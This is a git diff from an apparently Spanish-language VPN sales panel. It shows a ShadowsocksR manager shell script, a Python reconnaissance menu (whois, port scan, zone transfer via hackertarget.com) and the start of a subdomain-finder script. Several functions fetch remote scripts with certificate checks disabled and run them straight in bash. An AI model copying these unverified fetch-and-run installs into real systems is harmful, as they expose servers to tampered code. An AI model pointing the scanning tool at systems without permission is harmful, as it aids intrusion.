Parado fallido!" && exit 1 + else + echo -e "${Info} Timing All Clear Stop Stop Successful!!" + fi +} +Clear_transfer_all_cron_modify(){ + Set_crontab + Clear_transfer_all_cron_stop + Clear_transfer_all_cron_start +} +Set_crontab(){ +clear + + echo -e "Por favor ingrese el intervalo de tiempo de flujo + === Formato === + * * * * * Mes * * * * * + ${Green_font_prefix} 0 2 1 * * ${Font_color_suffix} Representante 1er, 2:00, claro, trafico usado. +${BARRA} + ${Green_font_prefix} 0 2 15 * * ${Font_color_suffix} Representativo El 1 2} representa el 15 2:00 minutos Punto de flujo usado despejado 0 minutos Borrar flujo usado +${BARRA} + ${Green_font_prefix} 0 2 */7 * * ${Font_color_suffix} Representante 7 das 2: 0 minutos despeja el trafico usado. +${BARRA} + ${Green_font_prefix} 0 2 * * 0 ${Font_color_suffix} Representa todos los domingos (7) para despejar el trafico utilizado. +${BARRA} + ${Green_font_prefix} 0 2 * * 3 ${Font_color_suffix} Representante (3) Flujo de trafico usado despejado" +echo -e "$BARRA" + stty erase '^H' && read -p "(Default: 0 2 1 * * 1 de cada mes 2:00):" Crontab_time + [[ -z "${Crontab_time}" ]] && Crontab_time="0 2 1 * *" +} +Start_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && echo -e "${Error} ShadowsocksR se esta ejecutando!" && exit 1 + /etc/init.d/ssrmu start +${SCPfrm}/ssrrmu.sh +} +Stop_SSR(){ +clear + SSR_installation_status + check_pid + [[ -z ${PID} ]] && echo -e "${Error} ShadowsocksR no esta funcionando!" && exit 1 + /etc/init.d/ssrmu stop +${SCPfrm}/ssrrmu.sh +} +Restart_SSR(){ +clear + SSR_installation_status + check_pid + [[ ! -z ${PID} ]] && /etc/init.d/ssrmu stop + /etc/init.d/ssrmu start +${SCPfrm}/ssrrmu.sh +} +View_Log(){ + SSR_installation_status + [[ ! -e ${ssr_log_file} ]] && echo -e "${Error} El registro de ShadowsocksR no existe!" && exit 1 + echo && echo -e "${Tip} Presione ${Red_font_prefix}Ctrl+C ${Font_color_suffix} Registro de registro de terminacion" && echo + tail -f ${ssr_log_file} +${SCPfrm}/ssrrmu.sh +} +#Afilado +Configure_Server_Speeder(){ +clear +echo -e "$BARRA1" + echo && echo -e " ${ama_font_prefix}Que vas a hacer +${BARRA1} + ${Green_font_prefix}[1] >${Font_color_suffix} ${blan_font_prefix}Velocidad aguda +${BARRA} + ${Green_font_prefix}[2] >${Font_color_suffix} ${blan_font_prefix}Velocidad aguda sharp +${asul_font_prefix}================================================================== + ${Green_font_prefix}[3] >${Font_color_suffix} ${blan_font_prefix}Velocidad media +${BARRA} + ${Green_font_prefix}[4] >${Font_color_suffix} ${blan_font_prefix}Velocidad media sharp +${asul_font_prefix}================================================================== + ${Green_font_prefix}[5] >${Font_color_suffix} ${blan_font_prefix}Reinicie la velocidad aguda / sharp +${BARRA} + ${Green_font_prefix}[6] >${Font_color_suffix} ${blan_font_prefix}Estado aguda / sharp +${BARRA} + ${Green_font_prefix}[7] >${Font_color_suffix} ${blan_font_prefix}SALIR (al menu shadowsocksR manager) + ${BARRA} +${Tip} Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" server_speeder_num + [[ -z "${server_speeder_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${server_speeder_num} == "1" ]]; then + Install_ServerSpeeder + elif [[ ${server_speeder_num} == "2" ]]; then + Server_Speeder_installation_status + Uninstall_ServerSpeeder + elif [[ ${server_speeder_num} == "3" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} start + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "4" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} stop + elif [[ ${server_speeder_num} == "5" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} restart + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "6" ]]; then + Server_Speeder_installation_status + ${Server_Speeder_file} status + elif [[ ${server_speeder_num} == "7" ]]; then + ${SCPfrm}/ssrrmu.sh + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_ServerSpeeder(){ + [[ -e ${Server_Speeder_file} ]] && echo -e "${Error} Server Speeder esta instalado!" && exit 1 + #Prestamo de la version feliz de 91yun.rog + wget --no-check-certificate -qO /tmp/serverspeeder.sh https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder.sh + [[ ! -e "/tmp/serverspeeder.sh" ]] && echo -e "${Error} Prestamo de la version feliz de 91yun.rog!" && exit 1 + bash /tmp/serverspeeder.sh + sleep 2s + PID=`ps -ef |grep -v grep |grep "serverspeeder" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + rm -rf /tmp/serverspeeder.sh + rm -rf /tmp/91yunserverspeeder + rm -rf /tmp/91yunserverspeeder.tar.gz + echo -e "${Info} La instalacion del servidor Speeder esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de Server Speeder!" && exit 1 + fi +} +Uninstall_ServerSpeeder(){ +clear +echo -e "$BARRA1" + echo "yes para desinstalar Speed ??Speed ??(Server Speeder)[y/N]" && echo +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: n):" unyn + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + chattr -i /serverspeeder/etc/apx* + /serverspeeder/bin/serverSpeeder.sh uninstall -f + echo && echo "Server Speeder Desinstalacion completa!" && echo + fi +} +# LotServer +Configure_LotServer(){ +clear +echo -e "$BARRA1" + echo && echo -e "${ama_font_prefix}Que vas a hacer? +${BARRA} + ${Green_font_prefix}[1] >${Font_color_suffix} ${blan_font_prefix}Instalar LotServer +${BARRA} + ${Green_font_prefix}[2] >${Font_color_suffix} ${blan_font_prefix}Desinstalar LotServer +${BARRA} + ${Green_font_prefix}[3] >${Font_color_suffix} ${blan_font_prefix}Iniciar LotServer +${BARRA} + ${Green_font_prefix}[4] >${Font_color_suffix} ${blan_font_prefix}Detener LotServer +${BARRA} + ${Green_font_prefix}[5] >${Font_color_suffix} ${blan_font_prefix}Reiniciar LotServer +${BARRA} + ${Green_font_prefix}[6] >${Font_color_suffix} ${blan_font_prefix}Ver el estado de LotServer +${BARRA} + ${Green_font_prefix}[7] >${Font_color_suffix} ${blan_font_prefix}SALIR (al menu shadowsocks manager) +${BARRA1} +${Tip} ${blue_font_prefix}Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo" +echo -e "$BARRA1" + + stty erase '^H' && read -p "(Predeterminado: Cancelar):" lotserver_num + [[ -z "${lotserver_num}" ]] && echo "Cancelado ..." && exit 1 + if [[ ${lotserver_num} == "1" ]]; then + Install_LotServer + elif [[ ${lotserver_num} == "2" ]]; then + LotServer_installation_status + Uninstall_LotServer + elif [[ ${lotserver_num} == "3" ]]; then + LotServer_installation_status + ${LotServer_file} start + ${LotServer_file} status + elif [[ ${lotserver_num} == "4" ]]; then + LotServer_installation_status + ${LotServer_file} stop + elif [[ ${lotserver_num} == "5" ]]; then + LotServer_installation_status + ${LotServer_file} restart + ${LotServer_file} status + elif [[ ${lotserver_num} == "6" ]]; then + LotServer_installation_status + ${LotServer_file} status + elif [[ ${lotserver_num} == "7" ]]; then + ${SCPfrm}/ssrrmu.sh + else + echo -e "${Error} Por favor numero(1-6)" && exit 1 + fi +} +Install_LotServer(){ + [[ -e ${LotServer_file} ]] && echo -e "${Error} LotServer est instalado!" && exit 1 + #Github: https://github.com/0oVicero0/serverSpeeder_Install + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" + [[ ! -e "/tmp/appex.sh" ]] && echo -e "${Error} Fallo la descarga del script de instalacion de LotServer!" && exit 1 + bash /tmp/appex.sh 'install' + sleep 2s + PID=`ps -ef |grep -v grep |grep "appex" |awk '{print $2}'` + if [[ ! -z ${PID} ]]; then + echo -e "${Info} La instalacion de LotServer esta completa!" && exit 1 + else + echo -e "${Error} Fallo la instalacion de LotServer!" && exit 1 + fi +} +Uninstall_LotServer(){ +clear +echo -e "$BARRA1" + echo "Desinstalar Para desinstalar LotServer[y/N]" && echo +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: n):" unyn +echo -e "$BARRA" + [[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1 + if [[ ${unyn} == [Yy] ]]; then + wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" && bash /tmp/appex.sh 'uninstall' + echo && echo "La desinstalacion de LotServer esta completa!" && echo + fi +} +# BBR +Configure_BBR(){ +clear +echo -e "$BARRA1" + echo && echo -e " ${ama_font_prefix}Que vas a hacer? +${BARRA} + ${Green_font_prefix}[1] >${Font_color_suffix} ${blan_font_prefix}Instalar BBR +${BARRA} + ${Green_font_prefix}[2] >${Font_color_suffix} ${blan_font_prefix}Iniciar BBR +${BARRA} + ${Green_font_prefix}[3] >${Font_color_suffix} ${blan_font_prefix}Dejar de BBR +${BARRA} + ${Green_font_prefix}[4] >${Font_color_suffix} ${blan_font_prefix}Ver el estado de BBR +${BARRA} + ${Green_font_prefix}[5] >${Font_color_suffix} ${blan_font_prefix}SALIR (al menu shadowsocks manager)" +echo -e "$BARRA" +echo -e "${Green_font_prefix} [Por favor, preste atencion antes de la instalacion] ${Font_color_suffix} +${BARRA1} +${blue_font_prefix}1. Abra BBR, reemplace, hay un error de reemplazo (despues de reiniciar) +${BARRA} +${blue_font_prefix}2. Este script solo es compatible con los nucleos de reemplazo de Debian / Ubuntu. OpenVZ y Docker no admiten el reemplazo de los nucleos. +${BARRA} +${blue_font_prefix}3. Debian reemplaza el proceso del kernel [Desea finalizar el kernel de desinstalacion], seleccione ${Green_font_prefix} NO ${Font_color_suffix}" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: Cancelar):" bbr_num +echo -e "$BARRA1" + [[ -z "${bbr_num}" ]] && echo "Cancelado..." && exit 1 + if [[ ${bbr_num} == "1" ]]; then + Install_BBR + elif [[ ${bbr_num} == "2" ]]; then + Start_BBR + elif [[ ${bbr_num} == "3" ]]; then + Stop_BBR + elif [[ ${bbr_num} == "4" ]]; then + Status_BBR + elif [[ ${bbr_num} == "5" ]]; then + ${SCPfrm}/ssrrmu.sh + else + echo -e "${Error} Por favor numero(1-4)" && exit 1 + fi +} +Install_BBR(){ + [[ ${release} = "centos" ]] && echo -e "${Error} Este script de instalacion del sistema CentOS. BBR !" && exit 1 + BBR_installation_status + bash "${BBR_file}" +} +Start_BBR(){ + BBR_installation_status + bash "${BBR_file}" start +} +Stop_BBR(){ + BBR_installation_status + bash "${BBR_file}" stop +} +Status_BBR(){ + BBR_installation_status + bash "${BBR_file}" status +} +# Otros +Other_functions(){ +clear +echo -e "$BARRA1" + echo && echo -e " ${ama_font_prefix}Que vas a hacer? +${BARRA1} + ${Green_font_prefix}[1].${Font_color_suffix} ${blan_font_prefix}Configurar BBR +${BARRA} + ${Green_font_prefix}[2].${Font_color_suffix} ${blan_font_prefix}Velocidad de configuracion (ServerSpeeder) +${BARRA} + ${Green_font_prefix}[3].${Font_color_suffix} ${blan_font_prefix}Configurar LotServer (Rising Parent) +${BARRA} +${asul_font_prefix}================================================================== + ${Green_font_prefix}[4].${Font_color_suffix} ${blan_font_prefix}Llave de bloqueo BT/PT/SPAM (iptables) +${BARRA} + ${Green_font_prefix}[5].${Font_color_suffix} ${blan_font_prefix}Llave de desbloqueo BT/PT/SPAM (iptables) +${asul_font_prefix}================================================================== + ${Green_font_prefix}[6].${Font_color_suffix} ${blan_font_prefix}Cambiar modo de salida de registro ShadowsocksR (Modo bajo o verboso) +${BARRA} + ${Green_font_prefix}[7].${Font_color_suffix} ${blan_font_prefix}Supervisar el estado de ejecucion del servidor ShadowsocksR +${BARRA} + ${Green_font_prefix}[8].${Font_color_suffix} ${blan_font_prefix}SALIR (al menu shadowsocks manager) +${BARRA1} +${Tip} ${blue_font_prefix}Sharp / LotServer / BBR no es compatible con OpenVZ! +${Tip} ${blue_font_prefix}Y Speed y LotServer no pueden coexistir! +${BARRA} +${Tip} ${blue_font_prefix}Opcion 7:Esta funcion es adecuada para que el servidor SSR finalice los procesos regulares. Una vez que esta funcion esta habilitada, sera detectada cada minuto. Cuando el proceso no existe, el servidor SSR se inicia automaticamente." && echo +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: cancelar):" other_num + [[ -z "${other_num}" ]] && echo "Cancelado..." && exit 1 + if [[ ${other_num} == "1" ]]; then + Configure_BBR + elif [[ ${other_num} == "2" ]]; then + Configure_Server_Speeder + elif [[ ${other_num} == "3" ]]; then + Configure_LotServer + elif [[ ${other_num} == "4" ]]; then + BanBTPTSPAM + elif [[ ${other_num} == "5" ]]; then + UnBanBTPTSPAM + elif [[ ${other_num} == "6" ]]; then + Set_config_connect_verbose_info + elif [[ ${other_num} == "7" ]]; then + Set_crontab_monitor_ssr + elif [[ ${other_num} == "8" ]]; then + ${SCPfrm}/ssrrmu.sh + else + echo -e "${Error} Por favor numero [1-7]" && exit 1 + fi +${SCPfrm}/ssrrmu.sh +} +#ProhibidoBT PT SPAM +BanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh banall + rm -rf ban_iptables.sh +} +#Desbloquear BT PT SPAM +UnBanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh unbanall + rm -rf ban_iptables.sh +} +Set_config_connect_verbose_info(){ +clear +echo -e "$BARRA" + SSR_installation_status + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser No, por favor, compruebe!" && exit 1 + connect_verbose_info=`${jq_file} '.connect_verbose_info' ${config_user_file}` + if [[ ${connect_verbose_info} = "0" ]]; then + echo && echo -e "${blan_font_prefix}Modo de registro actual:${Font_color_suffix} ${Green_font_prefix}Registro de errores en modo simple${Font_color_suffix}" +echo -e "$BARRA" + echo -e "[yes] ${blan_font_prefix}para cambiar a ${Green_font_prefix}Modo detallado (registro de conexion + registro de errores)${Font_color_suffix}?[y/N]" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="1" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "${blan_font_prefix}Modo de registro actual:${Font_color_suffix} ${Green_font_prefix}Modo detallado (conexion de conexion + registro de errores)${Font_color_suffix}" +echo -e "$BARRA" + echo -e "yes para cambiar a ${Green_font_prefix}Modo simple ${Font_color_suffix}?[y/N]" + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="0" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + fi +} +Set_crontab_monitor_ssr(){ +clear +echo -e "$BARRA" + SSR_installation_status + crontab_monitor_ssr_status=$(crontab -l|grep "ssrmu.sh monitor") + if [[ -z "${crontab_monitor_ssr_status}" ]]; then + echo && echo -e "${blan_font_prefix}Modo de monitoreo actual:${Font_color_suffix} ${Green_font_prefix}No monitoreado${Font_color_suffix}" +echo -e "$BARRA" + echo -e "[yes] ${blan_font_prefix}para abrir${Font_color_suffix} ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} ${blan_font_prefix}Funcion?${Font_color_suffix}" + echo -e "${blan_font_prefix}(Cuando el proceso R lado SSR R)[Y/n]${Font_color_suffix}" + +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: y):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="y" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_start + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}Abierto${Font_color_suffix}" +echo -e "$BARRA" + echo -e "yes para apagar ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (procesar servidor SSR)[y/N]" +echo -e "$BARRA" + stty erase '^H' && read -p "(Predeterminado: n):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="n" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_stop + else + echo && echo " Cancelado ..." && echo + fi + fi +} +crontab_monitor_ssr(){ + SSR_installation_status + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Detectado que el servidor ShadowsocksR no esta iniciado, inicie..." | tee -a ${ssr_log_file} + /etc/init.d/ssrmu start + sleep 1s + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Fall el inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Inicio de inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + fi + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] El proceso del servidor ShadowsocksR se ejecuta normalmente..." exit 0 + fi +} +crontab_monitor_ssr_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + echo -e "\n* * * * * /bin/bash $file/ssrmu.sh monitor" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Fall el arranque del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} El servidor ShadowsocksR esta ejecutando la monitorizacion del estado con exito!" + fi +} +crontab_monitor_ssr_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Fall la detencion del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} La supervision del estado de ejecucion del servidor de ShadowsocksR se detiene correctamente!" + fi +} +Update_Shell(){ +clear +echo -e "$BARRA1" + echo -e "${blan_font_prefix}La version actual es${Font_color_suffix} [ ${sh_ver} ], ${blan_font_prefix}Comenzamos a detectar la ultima version ...${Font_color_suffix}" + sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && echo -e "${Error} Ultima version de deteccion !" && exit 0 + if [[ ${sh_new_ver} != ${sh_ver} ]]; then + echo -e "${blan_font_prefix}Descubrir nueva version[ ${sh_new_ver} ], Esta actualizado?${Font_color_suffix}[Y/n]" +echo -e "$BARRA1" + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z "${yn}" ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + cd "${file}" + if [[ $sh_new_type == "github" ]]; then + wget -N --no-check-certificate https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh && chmod +x ssrrmu.sh + fi +echo -e "$BARRA1" + echo -e "El script ha sido actualizado a la ultima version.[ ${sh_new_ver} ] !${Font_color_suffix}" + else + echo && echo " Cancelado ..." && echo + fi + else +echo -e "$BARRA" + echo -e "${blan_font_prefix}Actualmente es la ultima version.[ ${sh_new_ver} ] !${Font_color_suffix}" + fi +echo -e "$BARRA1" + read -p "Enter para continuar" enter && ${SCPfrm}/ssrrmu.sh +${SCPfrm}/ssrrmu.sh +} +# Mostrar el estado del men +menu_status(){ +echo -e "$BARRA1" + if [[ -e ${ssr_folder} ]]; then + check_pid + if [[ ! -z "${PID}" ]]; then + echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} y ${Green_font_prefix}Iniciado${Font_color_suffix}" + else + echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} pero ${Red_font_prefix}no comenzo${Font_color_suffix}" + fi + cd "${ssr_folder}" + else + echo -e " Estado actual: ${Red_font_prefix}No Instalado${Font_color_suffix}" + fi +} +check_sys +[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} el script no es compatible con el sistema actual ${release} !" && exit 1 +action=$1 +if [[ "${action}" == "clearall" ]]; then + Clear_transfer_all +elif [[ "${action}" == "monitor" ]]; then + crontab_monitor_ssr +else +clear + echo -e " ${blue_font_prefix}ShadowsocksR Manager NEW ADMIN-DANKELTHAHER${Font_color_suffix} ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix} +${BARRA1} + + ${Green_font_prefix}[1] >${Font_color_suffix} ${blan_font_prefix}Instalar ShadowsocksR +${BARRA} + ${Green_font_prefix}[2] >${Font_color_suffix} ${blan_font_prefix}Actualizar ShadowsocksR${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[3] >${Font_color_suffix} ${blan_font_prefix}Desinstalar ShadowsocksR${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[4] >${Font_color_suffix} ${blan_font_prefix}Instalar libsodium (chacha20)${Font_color_suffix} +${BARRA} +${asul_font_prefix}=======================${ama_font_prefix}CONFIGURAR USUARIOS${asul_font_prefix}========================== +${BARRA} + ${Green_font_prefix}[5] >${Font_color_suffix} ${blan_font_prefix}Verifique la informacion de la cuenta${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[6] >${Font_color_suffix} ${blan_font_prefix}Mostrar la informacion de conexion${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[7] >${Font_color_suffix} ${blan_font_prefix}Agregar/Modificar/Eliminar la configuracion del usuario${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[8] >${Font_color_suffix} ${blan_font_prefix}Modificar manualmente la configuracion del usuario${Font_color_suffix} +${BARRA} + ${Green_font_prefix}[9] >${Font_color_suffix} ${blan_font_prefix}Borrar el trafico usado${Font_color_suffix} +${BARRA} +${asul_font_prefix}======================${ama_font_prefix}SERVICIOS SHADOWSOCKSR${asul_font_prefix}======================== +${BARRA} + ${Green_font_prefix} [10] >${Font_color_suffix} ${blan_font_prefix}Iniciar ShadowsocksR${Font_color_suffix} +${BARRA} + ${Green_font_prefix} [11] >${Font_color_suffix} ${blan_font_prefix}Detener ShadowsocksR${Font_color_suffix} +${BARRA} + ${Green_font_prefix} [12] >${Font_color_suffix} ${blan_font_prefix}Reiniciar ShadowsocksR${Font_color_suffix} +${BARRA} + ${Green_font_prefix} [13] >${Font_color_suffix} ${blan_font_prefix}Verificar registro de ShadowsocksR${Font_color_suffix} +${BARRA} +${asul_font_prefix}========================${ama_font_prefix}FUNCIONES EXTRA${asul_font_prefix}============================ +${BARRA} + ${Green_font_prefix} [14] >${Font_color_suffix} ${blan_font_prefix}Otras Funciones${Font_color_suffix} +${BARRA} + ${Green_font_prefix} [15] >${Font_color_suffix} ${blan_font_prefix}Actualizar script${Font_color_suffix} +${BARRA1} +${Green_font_prefix} [16] >${Font_color_suffix} ${blan_font_prefix}SALIR${Font_color_suffix} + " + menu_status + echo && stty erase '^H' && read -p "Porfavor seleccione una opcion [1-16]:" num +case "$num" in + 1) + Install_SSR + ;; + 2) + Update_SSR + ;; + 3) + Uninstall_SSR + ;; + 4) + Install_Libsodium + ;; + 5) + View_User + ;; + 6) + View_user_connection_info + ;; + 7) + Modify_Config + ;; + 8) + Manually_Modify_Config + ;; + 9) + Clear_transfer + ;; + 10) + Start_SSR + ;; + 11) + Stop_SSR + ;; + 12) + Restart_SSR + ;; + 13) + View_Log + ;; + 14) + Other_functions + ;; + 15) + Update_Shell + ;; + 16) + exit + ;; + *) + echo -e "${Error} Porfavor use numeros del [1-16]" + ;; +esac +fi \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/toolmaster.py b/ADM-VENTAS-LEALDROID/request/toolmaster.py new file mode 100644 index 0000000..b40b239 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/toolmaster.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python + +from urllib2 import * +from platform import system +import sys +def clear(): + if system() == 'Linux': + os.system("clear") + if system() == 'Windows': + os.system('cls') + os.system('color a') + else: + pass +def slowprint(s): + for c in s + '\n': + sys.stdout.write(c) + sys.stdout.flush() + time.sleep(4. / 100) +banner = ''' +========= ToolMaster =======\033[91m +========== NEW -ADM ========\033[96m +''' +print banner +def menu(): + print''' +\033[91m============================== +\033[91m [1] \033[92m>\033[96m Busqueda de DNS +\033[91m [2] \033[92m>\033[96m Busqueda de whois +\033[91m [3] \033[92m>\033[96m Busqueda de IP inversa +\033[91m [4] \033[92m>\033[96m Busqueda GeoIP +\033[91m [5] \033[92m>\033[96m Busqueda de subred +\033[91m [6] \033[92m>\033[96m Escaner de puertos +\033[91m [7] \033[92m>\033[96m Extraer enlaces +\033[91m [8] \033[92m>\033[96m Transferencia de Zona +\033[91m [9] \033[92m>\033[96m HTTP Header +\033[91m [10]\033[92m>\033[96m Host Finder +\033[91m [11]\033[92m>\033[96m Informacion +\033[91m [0] \033[92m>\033[96m Salir +\033[91m============================== +''' +slowprint(" \033[1;34mNEW-AMD" + " - toolmaster") + +menu() +def ext(): + ex = raw_input ('\033[92mContinuar/Exit OPCION [C / E]> ') + if ex[0].upper() == 'E' : + print 'Saliendo!!!' + exit() + else: + clear() + print banner + menu() + select() + +def select(): + try: + joker = input("\033[96mOpcion \033[92m0/\033[91m11 = ") + if joker == 2: + dz = raw_input('\033[91mEscribe la IP o Dominio : \033[91m') + whois = "http://api.hackertarget.com/whois/?q=" + dz + dev = urlopen(whois).read() + print (dev) + ext() + elif joker == 3: + dz = raw_input('\033[92mEscribe la IP : \033[92m') + revrse = "http://api.hackertarget.com/reverseiplookup/?q=" + dz + lookup = urlopen(revrse).read() + print (lookup) + ext() + elif joker == 1: + dz = raw_input('\033[96mEscribe tu dominio :\033[96m') + dns = "http://api.hackertarget.com/dnslookup/?q=" + dz + joker = urlopen(dns).read() + print (joker) + ext() + elif joker == 4: + dz = raw_input('\033[91mEscribe la IP : \033[91m') + geo = "http://api.hackertarget.com/geoip/?q=" + dz + ip = urlopen(geo).read() + print (ip) + ext() + elif joker == 5: + dz = raw_input('\033[92mEscribe la IP : \033[92m') + sub = "http://api.hackertarget.com/subnetcalc/?q=" + dz + net = urlopen(sub).read() + print (net) + ext() + elif joker == 6: + dz = raw_input('\033[96mEscribe la IP : \033[96m') + port = "http://api.hackertarget.com/nmap/?q=" + dz + scan = urlopen(port).read() + print (scan) + ext() + elif joker == 7: + dz = raw_input('\033[91mEscribe tu dominio :\033[91m') + get = "https://api.hackertarget.com/pagelinks/?q=" + dz + page = urlopen(get).read() + print(page) + ext() + elif joker == 8: + dz = raw_input('\033[92mEscribe tu dominio :\033[92m') + zon = "http://api.hackertarget.com/zonetransfer/?q=" + dz + tran = urlopen(zon).read() + print (tran) + ext() + elif joker == 9: + dz = raw_input('\033[96mEscribe tu dominio :\033[96m') + hea = "http://api.hackertarget.com/httpheaders/?q=" + dz + der = urlopen(hea).read() + print (der) + ext() + elif joker == 10: + dz = raw_input('\033[91mEscribe tu dominio :\033[91m') + host = "http://api.hackertarget.com/hostsearch/?q=" + dz + finder = urlopen(host).read() + print (finder) + ext() + elif joker == 11: + slowprint("ToolMaster \033[92m") + slowprint(".....................") + slowprint("NEW-ADMIN \033[96m") + slowprint(".........................") + ext() + elif joker == 0: + print "Saliendo!!" + ext() + except(KeyboardInterrupt): + print "\nCtrl + C -> Saliendo!!" +select() diff --git a/ADM-VENTAS-LEALDROID/request/ultrahost b/ADM-VENTAS-LEALDROID/request/ultrahost new file mode 100644 index 0000000..d4034a3 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/ultrahost @@ -0,0 +1,82 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +barra="\033[0m\e[34m======================================================\033[1;37m" +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +subdom () { +SUBDOM="$1" +[[ "$SUBDOM" = "" ]] && return +randomize="$RANDOM" + for sites in `cat $log`; do + [[ $(echo ${DNS[@]}|grep $sites) = "" ]] && DNS+=($sites) + [[ $(echo ${DNS[@]}|grep $sites) != "" ]] && cat $log|grep -v "$sites" > $log + done + while true; do + [[ "$(pidof lynx | wc -w)" -lt "20" ]] && break + done + ( + HOST[$randomize]="$SUBDOM" + curl -sSL 